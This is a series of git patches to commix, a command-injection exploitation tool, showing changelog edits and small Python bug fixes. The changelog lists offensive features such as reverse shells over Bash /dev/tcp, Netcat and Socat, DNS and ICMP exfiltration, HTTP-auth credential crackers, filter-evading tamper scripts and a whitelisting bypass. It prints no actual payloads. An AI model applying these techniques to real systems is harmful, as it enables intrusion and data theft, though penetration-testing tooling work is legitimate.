Minor bug-fixes and improvements regarding HTTP authentication (i.e. `Basic`, `Digest`). * Fixed: Minor bug-fix regarding ignoring HTTP Error 401 (Unauthorized) (for `--ignore-401` option). * Added: Support for writing crawling results to a temporary file (for eventual further processing with other tools). * Added: Support for Windows "Python" on "reverse_tcp" shell option. @@ -197,7 +200,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Revised: Minor update of redirection mechanism. * Revised: Minor improvement regarding identifying the target web server. * Revised: Minor improvement regarding identifying corrupted .pyc file(s). -* Added: New tamper script "dollaratsigns.py" that adds dollar-sign followed by an at-sign ("$@") between the characters of the generated payloads. +* Added: New tamper script "dollaratsigns.py" that adds dollar-sign followed by an at-sign (`$@`) between the characters of the generated payloads. * Fixed: Bug-fix regarding proxying SSL/TLS requests. * Revised: Minor improvement regarding checking for potentially miswritten (illegal '=') short option. * Revised: Minor improvement regarding checking for illegal (non-console) quote and comma characters. @@ -206,7 +209,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Updated: Beautiful Soup (third party) module has been updated. * Added: New tamper script "xforwardedfor.py" that appends a fake HTTP header `X-Forwarded-For`. * Fixed: Minor bug-fix regarding loading tamper scripts. -* Revised: Minor improvement regarding "INJECT_HERE" tag (i.e. declaring injection position) to be case insensitive. +* Revised: Minor improvement regarding `INJECT_HERE` tag (i.e. declaring injection position) to be case insensitive. _Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.6-20180921...v2.7-20181218)._ @@ -216,13 +219,13 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Added: New option `--list-tampers` for listing available tamper scripts. * Revised: Minor improvement regarding resolving target hostname. * Added: Support for "Ncat" on "reverse_tcp" and "bind_tcp" shell options. -* Added: Support for "Bash" (via /dev/tcp) on "reverse_tcp" shell option. -* Added: Support for "Netcat-Openbsd" (nc without -e) on "reverse_tcp" and "bind_tcp" shell options. +* Added: Support for "Bash" (via `/dev/tcp`) on "reverse_tcp" shell option. +* Added: Support for "Netcat-Openbsd" (i.e. nc without -e) on "reverse_tcp" and "bind_tcp" shell options. * Added: Support for "Socat" on "reverse_tcp" and "bind_tcp" shell options. * Revised: Minor improvement regarding counting the total of HTTP(S) requests, for the identified injection point(s) during the detection phase. * Fixed: Minor bug-fix regarding providing the target host's root directory. * Added: New tamper script "sleep2timeout.py" that uses "timeout" function for time-based attacks. -* Added: New tamper script "sleep2usleep.py" that replaces "sleep" with "usleep" command in the time-related generated payloads. +* Added: New tamper script "sleep2usleep.py" that replaces `sleep` with `usleep` command in the time-related generated payloads. * Replaced: The `--purge-output` option has been replaced with `--purge` option. * Fixed: Minor bug-fix regarding performing injections through cookie parameters. * Revised: Minor improvement regarding ignoring the Google Analytics cookie in all scanning attempts. @@ -238,10 +241,10 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Added: Support regarding checking for potential CAPTCHA protection mechanism. * Revised: The separators list, has been shortly revised. * Revised: Minor improvement regarding the extracted HTTP response headers. -* Added: New tamper script "nested.py" that adds double quotes around of the generated payloads (for *nix targets). -* Fixed: Minor bug-fix regarding performing injections through HTTP Headers (e.g User-Agent, Referer, Host etc). -* Fixed: Major bug-fixes regarding testing time-related ("time-based"/"tempfile-based") payloads. -* Added: New tamper script "backslashes.py" that adds back slashes (\) between the characters of the generated payloads (for *nix targets). +* Added: New tamper script "nested.py" that adds double quotes around of the generated payloads (for \*nix targets). +* Fixed: Minor bug-fix regarding performing injections through HTTP Headers (e.g. User-Agent, Referer, Host etc). +* Fixed: Major bug-fixes regarding testing time-related payloads (i.e. "time-based", "tempfile-based"). +* Added: New tamper script "backslashes.py" that adds back slashes (`\`) between the characters of the generated payloads (for \*nix targets). * Fixed: Minor bug-fix regarding unicode decode exception error due to invalid codec, during connection on target host. * Revised: Improvement regarding combining tamper script "multiplespaces.py" with other space-related tamper script(s). * Added: New tamper script "multiplespaces.py" that adds multiple spaces around OS commands. @@ -254,8 +257,8 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Updated: Colorama (third party) module has been updated. * Revised: Minor improvement regarding keeping the git folder 'clean' (via @g0tmi1k). * Fixed: Minor bug-fix regarding loading multiple tamper scripts (during the exploitation phase). -* Added: New tamper script "caret.py" that adds the caret symbol (^) between the characters of the generated payloads (for windows targets). -* Added: New tamper script "singlequotes.py" that adds single quotes (') between the characters of the generated payloads (for *nix targets). +* Added: New tamper script "caret.py" that adds the caret symbol (`^`) between the characters of the generated payloads (for windows targets). +* Added: New tamper script "singlequotes.py" that adds single quotes (`'`) between the characters of the generated payloads (for \*nix targets). _Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.3-20180307...v2.4-20180521)._ @@ -282,9 +285,9 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Fixed: Minor bug-fix regarding cookie-based command injections. * Revised: Minor improvement regarding option `-p` for bypassing the dependence on value of `--level` (in case of user-defined HTTP headers). * Revised: Minor improvement regarding option `-p` for testing user-defined HTTP headers. -* Added: New option `--failed-tries` for setting a number of failed injection tries, in file-based technique. +* Added: New option `--failed-tries` for setting a number of failed injection tries, in semiblind (i.e. "file-based") technique. * Revised: Minor improvement regarding session handler. -* Revised: Minor improvement regarding checking stored time-related ("time-based"/"tempfile-based") payloads. +* Revised: Minor improvement regarding checking stored time-related payloads (i.e. "time-based", "tempfile-based"). * Revised: Minor improvement regarding Python version check (no more crashes on Python >= "3" and < "2.6"). * Revised: Minor improvement in "updater", for checking commit hash number. * Added: New option `--skip` regarding excluding certain parameter(s) from testing. @@ -293,15 +296,15 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ _Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.1-20171003...v2.2-20171212)._ ## Version 2.1 (2017-10-03) -* Added: New option `--header` for providing a single extra HTTP header (e.g. 'X-Forwarded-For: 127.0.0.1'). +* Added: New option `--header` for providing a single extra HTTP header (e.g. `X-Forwarded-For: 127.0.0.1`). * Added: New option `--check-internet` that checks internet connection before assessing the target. -* Fixed: Minor bug-fix regarding performing injections through HTTP Headers (i.e Cookie, User-Agent, Referer). +* Fixed: Minor bug-fix regarding performing injections through HTTP Headers (i.e. Cookie, User-Agent, Referer). * Revised: Minor improvement regarding checking stored payloads and enabling appropriate tamper scripts during the exploitation phase. -* Added: New tamper script "space2vtab.py" that replaces every space ("%20") with vertical tab ("%0b") (for Windows targets). +* Added: New tamper script "space2vtab.py" that replaces every space (`%20`) with vertical tab (`%0b`) (for Windows targets). * Replaced: The tamper script "space2tab.py" has been replaced with "space2htab.py". -* Fixed: Minor bug-fix regarding checking for similarity in provided parameter name and value (GET / POST). -* Added: New option `--backticks` that uses backticks instead of "$()", for commands substitution. -* Revised: Minor improvement in Netcat shells, for giving to the end-user the choice of using the "/bin" standard subdirectory. +* Fixed: Minor bug-fix regarding checking for similarity in provided parameter name and value (GET, POST). +* Added: New option `--backticks` that uses backticks instead of `$()`, for commands substitution. +* Revised: Minor improvement in Netcat shells, for giving to the end-user the choice of using the `/bin` standard subdirectory. * Added: New option `--disable-coloring` that disables console output coloring. * Added: New option `--check-tor` that checks if Tor is used properly. * Fixed: Minor improvement for fetching random HTTP User-Agent header in initial request, when `--random-agent` is used. @@ -315,7 +318,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Revised: Minor improvement for automatically increasing default `--time-sec` value when `--tor` used. * Fixed: Minor improvement for not re-testing Tor SOCKS proxy settings (in case of multiple targets). * Revised: Multiple minor eye-candy revisions have been performed. -* Fixed: Major improvement regarding not sending requests with GET mothod in case of POST method, in injection levels 2, 3. +* Fixed: Major improvement regarding not sending requests with GET HTTP mothod in case of POST HTTP method, in injection levels 2, 3. * Updated: The `--sys-info` option has been enriched with distribution description and release information. * Revised: Minor improvement in dynamic code evaluation, regarding the users extraction payload. * Fixed: Minor fix regarding not raising the detection phase in the case of 4xx and/or 5xx HTTP error codes. @@ -329,13 +332,13 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ ## Version 1.9 (2017-05-02) * Revised: Minor improvement in results-based techniques, for delaying the OS responses depending on the user-supplied time delay. -* Revised: The time-related ("time-based"/"tempfile-based") payloads, have been shortly revised. -* Revised: Minor improvement in file-based technique, for delaying the OS responses depending on the user-supplied time delay. -* Fixed: Minor improvement in file-based technique, regarding τhe directory path that the output file is saved. +* Revised: The time-related payloads (i.e. "time-based", "tempfile-based"), have been shortly revised. +* Revised: Minor improvement in semiblind (i.e. "file-based") technique, for delaying the OS responses depending on the user-supplied time delay. +* Fixed: Minor improvement in semiblind (i.e. "file-based") technique, regarding τhe directory path that the output file is saved. * Added: New option `--ignore-redirects` that ignoring redirection attempts. * Added: New functionality for identifying and following URL redirections. -* Fixed: Minor improvement for adding "/" at the end of the user provided root dir (in case it does not exist). -* Revised: The file-based payload for deleting files with execution output, has been shortly revised. +* Fixed: Minor improvement for adding `/` at the end of the user provided root dir (in case it does not exist). +* Revised: The semiblind (i.e. "file-based") payload for deleting files with execution output, has been shortly revised. * Replaced: The `--root-dir` option has been replaced with `--web-root` option. * Added: New option `--wizard` that shows a simple wizard interface for beginner users. @@ -349,8 +352,8 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Replaced: The `--delay` option has been replaced with `--time-sec` option. * Fixed: Minor improvement regarding gnureadline module for better support on MacOS X hosts. * Added: New option `--charset` that forces character encoding used for data retrieval. -* Added: New prefix ("'%26") and suffix ("%26'") have been added. -* Fixed: Removal of unnecessary command substitution in semiblind ("file-based") technique. +* Added: New prefix (`'%26`) and suffix (`%26'`) have been added. +* Fixed: Removal of unnecessary command substitution in semiblind technique (i.e. "file-based"). * Updated: The Unicorn tool has been updated to version 2.4.2. * Added: Support for the Regsvr32.exe Application Whitelisting Bypass technique. * Fixed: Minor improvement for checking for established TCP connections. @@ -367,16 +370,16 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Fixed: Minor improvement regarding automated scan level increasing. * Fixed: Improvement regarding skipping the testing of problematic URL(s) and proceeding with next ones (in case of scanning multiple targets). * Fixed: Improvement regarding printing current assessment state in case of user abortion. -* Revised: Minor improvement for proceeding with semiblind ("file-based") technique, once the user provides the path of web server's root directory. +* Revised: Minor improvement for proceeding with semiblind technique (i.e. "file-based"), once the user provides the path of web server's root directory. * Fixed: Minor fix regarding the lack of http/s to the user-defined URL(s). * Added: New option `--skip-empty` for skipping the testing of the parameter(s) with empty value(s). * Fixed: Improvement regarding testing the parameter(s) with empty value(s). -* Added: New CGI shellscript path "/cgi-bin/cgiCmdNotify" (vulnerable to shellshock) has been added. +* Added: New CGI shellscript path `/cgi-bin/cgiCmdNotify` (vulnerable to shellshock) has been added. _Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.6-20161228...v1.7-20170203)._ ## Version 1.6 (2016-12-28) -* Fixed: Improvement regarding json-formated POST data, where whitespace before (and/or after) the ":" exists. +* Fixed: Improvement regarding json-formated POST data, where whitespace before (and/or after) the `":"` exists. * Fixed: Minor fix regarding empty value(s) in provided parameter(s). * Added: New option `--batch` that never asks for user input (using the default behaviour). * Added: New option `-x` for parsing target(s) from remote sitemap(.xml) file. @@ -386,8 +389,8 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Added: New option `-r` for loading HTTP request from a file. * Fixed: Improvement regarding the response time estimimation, in which the target URL was requested without its POST data. * Added: New option `-m` for scanning multiple targets given in a textual file. -* Fixed: Minor fix regarding the newline display in dynamic code evaluation ("eval-based") and semiblind ("file-based") technique. -* Revised: The dynamic code evaluation ("eval-based") payloads have been shortly revised. +* Fixed: Minor fix regarding the newline display in dynamic code evaluation (i.e. "eval-based") and semiblind technique (i.e. "file-based"). +* Revised: The dynamic code evaluation (i.e. "eval-based") payloads have been shortly revised. * Added: The executed command and the execution results output has been added to log file. _Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.5-20161117...v1.6-20161228)._ @@ -395,7 +398,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ ## Version 1.5 (2016-11-17) * Fixed: Minor improvement in the "ICMP exfiltration" module. * Fixed: Minor improvement for choosing default value when pressing enter. -* Added: New tamper script "hexencode.py" that encodes the payload to hex format. +* Added: New tamper script "hexencode.py" that encodes the payload to `Hex` format. * Fixed: Minor improvements in executed commands history. * Added: New verbosity level (4) for printing the HTTP response page content. * Added: New option `-t` for logging all HTTP traffic into a textual file. @@ -434,20 +437,20 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Added: The ability for setting custom (PHP / Python) working directory. * Fixed: License file minor inaccurancy issue has been fixed. * Revised: The Windows-based payloads for every supported technique, had been shortly revised. -* Revised: The dynamic code evaluation ("eval-based") technique has been shortly revised. -* Added: New tamper script "space2tab.py" that replaces every space ("%20") with horizontal tab ("%09"). +* Revised: The dynamic code evaluation technique (i.e. "eval-based") has been shortly revised. +* Added: New tamper script "space2tab.py" that replaces every space (`%20`) with horizontal tab (`%09`). * Added: The ability for generating powershell attack vectors via TrustedSec's Magic Unicorn. * Added: The ability for checking if there is a new version available. -* Added: The ability for target application extension recognition (i.e PHP, ASP etc). -* Fixed: Minor improvement for finding the URL part (i.e scheme:[//host[:port]][/]path). -* Fixed: Minor fix for conflicted shells (i.e regular, alternative) from session file. +* Added: The ability for target application extension recognition (i.e. PHP, ASP etc). +* Fixed: Minor improvement for finding the URL part (i.e. scheme:[//host[:port]][/]path). +* Fixed: Minor fix for conflicted shells (i.e. regular, alternative) from session file. _Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.1-20160714...v1.2-20160812)._ ## Version 1.1 (2016-07-14) * Added: The ".gitignore" file has been added. * Added: Support for injections against ASP.NET applications. -* Added: Support for warning detection regarding "create_function()" function. +* Added: Support for warning detection regarding `create_function()` function. * Fixed: Minor improvent of the HTTP server for `--file-upload` option. * Fixed: Minor fix for conflicted executed commands from session file in HTTP Headers. * Added: The ability to store injection level into session files for current target. @@ -468,26 +471,26 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ ## Version 0.9b (2016-06-07) * Added: The ability to re-perform the injection request if it has failed. -* Fixed: The shell output in semiblind ("file-based") technique has been fixed not to concat new lines. +* Fixed: The shell output in semiblind technique (i.e. "file-based") has been fixed not to concat new lines. * Revised: The ability to execute multiple tamper scripts combined or the one after the other. -* Added: New tamper script "space2plus.py" that replaces every space ("%20") with plus ("+"). +* Added: New tamper script "space2plus.py" that replaces every space (`%20`) with plus (`+`). * Added: New state ("checking") and the color of that state has been setted. * Replaced: The `--base64` option has been replaced with "base64encode.py" tamper script. -* Added: New tamper script "space2ifs.py" that replaces every space ("%20") with $IFS (bash) variable. +* Added: New tamper script "space2ifs.py" that replaces every space (`%20`) with `$IFS` (bash) variable. * Added: New option `--tamper` that supports tamper injection scripts. * Added: Support for verbosity levels (currently supported levels: 0,1). * Fixed: Minor rearrangement of prefixes and separators has been implemented. -* Revised: The "time-based" (blind) technique for *nix targets has been shortly revised. -* Revised: The source code has been revised to support "print_state_msg" (i.e error, warning, success etc) functions. +* Revised: The "time-based" (blind) technique for \*nix targets has been shortly revised. +* Revised: The source code has been revised to support `print_state_msg` (i.e. error, warning, success etc) functions. _Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.8b-20160506...v0.9b-20160607)._ ## Version 0.8b (2016-05-06) -* Fixed: The `--file-read` option to ignore the carriage return ("\r") character in a text file. -* Added: The ability to check for empty value(s) in the defined GET/POST/Cookie(s) data and skip. -* Replaced: The "INJECT_HERE" tag has been replaced with the `*` (asterisk) wildcard character. +* Fixed: The `--file-read` option to ignore the carriage return (`\r`) character in a text file. +* Added: The ability to check for empty value(s) in the defined GET, POST, `Cookie` data and skip. +* Replaced: The `INJECT_HERE` tag has been replaced with the `*` (asterisk) wildcard character. * Added: New option `--level` (1-3) that specifies level of tests to perform. -* Added: New option `-p` that specifies a comma-separated list of GET/POST parameter. +* Added: New option `-p` that specifies a comma-separated list of GET and POST parameter. * Added: The ability to check every parameter in the provided cookie data. * Added: The ability to check every GET parameter in the defined URL and/or every POST provided data. * Added: New option `--all` that enables all supported enumeration options. @@ -495,20 +498,20 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ _Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.7b-20160418...v0.8b-20160506)._ ## Version 0.7b (2016-04-18) -* Fixed: HTTP proxy logs parser to accept GET http requests. +* Fixed: HTTP proxy logs parser to accept GET HTTP requests. * Fixed: HTTP proxy logs parser to recognise provided HTTP authentication credentials. -* Added: Support for verbose mode in HTTP authentication (Basic / Digest) dictionary-based cracker. +* Added: Support for verbose mode in HTTP authentication (i.e. `Basic`, `Digest`) dictionary-based cracker. * Added: The ability to store valid (Digest) credentials into session files for current target. -* Added: Dictionary-based cracker for "Digest" HTTP authentication credentials. -* Added: Support for "Digest" HTTP authentication type. +* Added: Dictionary-based cracker for `Digest` HTTP authentication credentials. +* Added: Support for `Digest` HTTP authentication type. _Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.6b-20160401...v0.7b-20160418)._ ## Version 0.6b (2016-04-01) -* Added: The ability to store valid (Basic) credentials into session files for current target. +* Added: The ability to store valid (`Basic`) credentials into session files for current target. * Added: New option `--ignore-401` that ignores HTTP Error 401 (Unauthorized) and continues tests without providing valid credentials. -* Added: Dictionary-based cracker for "Basic" HTTP authentication credentials. -* Added: Identifier for HTTP authentication type (currently only "Basic" type is supported). +* Added: Dictionary-based cracker for `Basic` HTTP authentication credentials. +* Added: Identifier for HTTP authentication type (currently only `Basic` type is supported). * Added: New option `--skip-waf` that skips heuristic detection of WAF/IPS/IDS protection. * Added: Support for verbose mode in the "DNS exfiltration" injection technique (module). * Added: New option `--dns-server` that supports the "DNS exfiltration" injection technique (module). @@ -517,7 +520,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ _Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.5b-20160316...v0.6b-20160401)._ ## Version 0.5b (2016-03-16) -* Fixed: The payload(s) for dynamic code evaluation ("eval-based"), if there is not any separator. +* Fixed: The payload(s) for dynamic code evaluation (i.e. "eval-based"), if there is not any separator. * Added: Support for verbose mode in the "ICMP exfiltration" injection technique (module). * Added: Check if the user-defined os name, is different than the one identified by heuristics. * Added: New option `--os` that forces a user-defined os name. @@ -544,53 +547,53 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ ## Version 0.3b (2016-01-15) * Added: Time-relative false-positive identification, which identifies unexpected time delays due to unstable requests. -* Added: New option `-l`, that parses target and data from HTTP proxy log file (i.e Burp or WebScarab). +* Added: New option `-l`, that parses target and data from HTTP proxy log file (i.e. Burp or WebScarab). * Added: Check if Powershell is enabled in target host, if the applied option's payload is requiring the use of PowerShell. * Added: New option `--ps-version`, that checks PowerShell's version number. * Replaced: Some powershell-based payloads, have been replaced by new (more solid) ones, so to avoid "Microsoft-IIS" server's incompatibilities. * Added: Support (in MacOSX platforms) for a tab completion in shell options. -* Added: Undocumented parameter "-InputFormat none" so to avoid "Microsoft-IIS" server's hang. +* Added: Undocumented parameter `-InputFormat none` so to avoid "Microsoft-IIS" server's hang. * Added: Ability for identification of "Microsoft-IIS" servers. -* Added: Statistical checks for time-related ("time-based"/"tempfile-based") techniques. +* Added: Statistical checks for time-related techniques (i.e. "time-based", "tempfile-based"). * Added: Support for Windows-based (cmd / powershell) payloads for every injection technique. ## Version 0.2b (2015-12-18) * Added: Support for recalling previous commands. * Added: Support (in Linux platforms) for tab completion in shell options. -* Added: Support for alternative (Python) os-shell in dynamic code evaluation ("eval-based") technique. +* Added: Support for alternative (Python) os-shell in dynamic code evaluation technique (i.e. "eval-based"). * Added: Support for PHP/Python meterpreter on "reverse_tcp" shell option. * Added: The "reverse_tcp" shell option. * Added: The ability to check for default root directories (Apache/Nginx). -* Added: Support for removal of (txt) shell files in semiblind ("file-based"/"tempfile-based") techniques. -* Added: Support for JSON POST data. +* Added: Support for removal of (txt) shell files in semiblind techniques (i.e. "file-based", "tempfile-based"). +* Added: Support for `JSON POST` data. * Added: The "enumeration" and "file-read" results to log file. * Added: The ability to get the user's approval before re-{enumerate/file-read} target. * Added: The ability to stop current injection technique and proceed on the next one(s). ## Version 0.1b (2015-09-20) -* Added: New eval-based payload for "str_replace()" filter bypass. +* Added: New eval-based payload for `str_replace()` filter bypass. * Added: Check for (GET) RESTful URL format. -* Added: New option `--base64`, that encodes the OS command to Base64 format. -* Added: Support for regular "preg_replace()" injections via "/e" modifier. +* Added: New option `--base64`, that encodes the OS command to `Base64` format. +* Added: Support for regular `preg_replace()` injections via `/e` modifier. * Added: Support for HTML Charset and HTTP "Server" response-header reconnaissance (on verbose mode). -* Replaced: Payloads for "tempfile-based" (semiblind) technique, have been replaced by new (more solid) ones. -* Added: A "new-line" separator support, for "time-based" (blind) & "tempfile-based" (semiblind) techniques. +* Replaced: Payloads for semiblind (i.e. "tempfile-based") technique, have been replaced by new (more solid) ones. +* Added: A "new-line" separator support, for blind (i.e. "time-based") and semiblind (i.e. "tempfile-based") techniques. * Added: Support for Referer HTTP header command injections. * Added: Support for User-Agent HTTP header command injections. -* Added: CVE-2014-6278 support for "shellshock" module. +* Added: [CVE-2014-6278](https://nvd.nist.gov/vuln/detail/CVE-2014-6278) support for "shellshock" module. * Added: Support for cookie-based command injections. * Added: A generic false-positive prevention technique. -* Removed: The "Base64" detection option. +* Removed: The `Base64` detection option. * Added: Support for the Tor network. -* Added: The "shellshock" (CVE-2014-6271) injection technique (module). +* Added: The "shellshock" [CVE-2014-6271](https://nvd.nist.gov/vuln/detail/cve-2014-6271) injection technique (module). * Added: Termcolor support for Windows (colorama). * Added: File access options. * Added: Enumeration options. * Added: New option `--alter-shell` that supports an alternative option for os-shell (e.g. Python). * Added: New option `--icmp-exfil` that supports the "ICMP exfiltration" injection technique (module). -* Added: The "tempfile-based" (semiblind) technique. -* Added: The "file-based" (semiblind) technique. -* Removed: The "boolean-based" (blind) technique. +* Added: The semiblind (i.e. "tempfile-based") technique. +* Added: The semiblind (i.e. "file-based") technique. +* Removed: The blind (i.e. “boolean-based”) technique. * Added: More Options. ## Version 0.1a (2014-12-20) From 3faaa4224d5a38804408c347cb8e3abe98e1f8bd Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 7 Nov 2023 07:41:45 +0200 Subject: [PATCH 0353/1023] Fixes https://github.com/commixproject/commix/issues/865 --- .../injections/blind/techniques/time_based/tb_enumeration.py | 2 ++ .../results_based/techniques/classic/cb_enumeration.py | 2 ++ .../results_based/techniques/eval_based/eb_enumeration.py | 2 ++ .../semiblind/techniques/file_based/fb_enumeration.py | 2 ++ .../semiblind/techniques/tempfile_based/tfb_enumeration.py | 2 ++ src/utils/settings.py | 2 +- 6 files changed, 11 insertions(+), 1 deletion(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index 52f610d253..867e8dae3f 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -105,6 +105,8 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) target_arch = output + else: + target_arch = None checks.print_os_info(target_os, target_arch, filename, _) """ diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index 413f16e9d5..7784d6d607 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -132,6 +132,8 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) else: target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + else: + target_arch = None checks.print_os_info(target_os, target_arch, filename, _) """ diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index 49632df412..a2cddc4b86 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -130,6 +130,8 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) else: target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + else: + target_arch = None checks.print_os_info(target_os, target_arch, filename, _) """ diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index 7f03135077..9984a745f9 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -116,6 +116,8 @@ def system_information(separator, payload, TAG, timesec, prefix, suffix, whitesp session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) else: target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + else: + target_arch = None checks.print_os_info(target_os, target_arch, filename, _) """ diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index dbc1cef04b..213c1aa453 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -106,6 +106,8 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) target_arch = output + else: + target_arch = None checks.print_os_info(target_os, target_arch, filename, _) """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 2de72c29b4..d07cd2d9c9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "14" +REVISION = "15" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 3892308cc4a7fdb08ef71817e1e5ab2b741bfca1 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 9 Nov 2023 09:13:02 +0200 Subject: [PATCH 0354/1023] Typo fix --- doc/CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index dee9dbff1d..fa1be55dd3 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -334,7 +334,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Revised: Minor improvement in results-based techniques, for delaying the OS responses depending on the user-supplied time delay. * Revised: The time-related payloads (i.e. "time-based", "tempfile-based"), have been shortly revised. * Revised: Minor improvement in semiblind (i.e. "file-based") technique, for delaying the OS responses depending on the user-supplied time delay. -* Fixed: Minor improvement in semiblind (i.e. "file-based") technique, regarding τhe directory path that the output file is saved. +* Fixed: Minor improvement in semiblind (i.e. "file-based") technique, regarding the directory path that the output file is saved. * Added: New option `--ignore-redirects` that ignoring redirection attempts. * Added: New functionality for identifying and following URL redirections. * Fixed: Minor improvement for adding `/` at the end of the user provided root dir (in case it does not exist). From 652f1253f9eee96890e181c7b45c648d32ac7f9d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 10 Nov 2023 08:22:00 +0200 Subject: [PATCH 0355/1023] Minor improvement in semiblind (i.e. "file-based") technique, regarding defining the URL where the execution output of an injected payload is shown. --- doc/CHANGELOG.md | 1 + .../techniques/file_based/fb_handler.py | 19 +++++++++++++++---- .../techniques/file_based/fb_injector.py | 12 +++++++----- .../techniques/file_based/fb_payloads.py | 6 ++++-- src/core/requests/headers.py | 4 ++-- src/utils/settings.py | 4 +++- 6 files changed, 32 insertions(+), 14 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index fa1be55dd3..3efc2816f4 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.9 (TBA) +* Revised: Minor improvement in semiblind (i.e. "file-based") technique, regarding defining the URL where the execution output of an injected payload is shown. * Added: New switch `--ignore-proxy` to ignore the system default HTTP proxy. * Revised: Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e. `--proxy` option). * Added: New switch `--smart` for conducting through tests only in case of positive heuristic(s). diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 934c44a2ce..10a77afd14 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -22,6 +22,8 @@ from src.utils import logs from src.utils import settings from src.utils import session_handler +from src.core.requests import tor +from src.core.requests import proxy from src.core.requests import headers from src.core.requests import requests from src.core.requests import parameters @@ -317,14 +319,23 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r time.sleep(timesec) try: - # Check if defined extra headers. request = _urllib.request.Request(output) headers.do_check(request) + headers.check_http_traffic(request) + # Check if defined any HTTP Proxy (--proxy option). + if menu.options.proxy or menu.options.ignore_proxy: + response = proxy.use_proxy(request) + # Check if defined Tor (--tor option). + elif menu.options.tor: + response = tor.use_tor(request) + else: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - # Evaluate test results. - output = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - html_data = output.read() + if type(response) is bool: + html_data = "" + else: + html_data = checks.page_encoding(response, action="decode") shell = re.findall(r"" + TAG + "", str(html_data)) if len(shell) != 0 and shell[0] == TAG and not settings.VERBOSITY_LEVEL != 0: diff --git 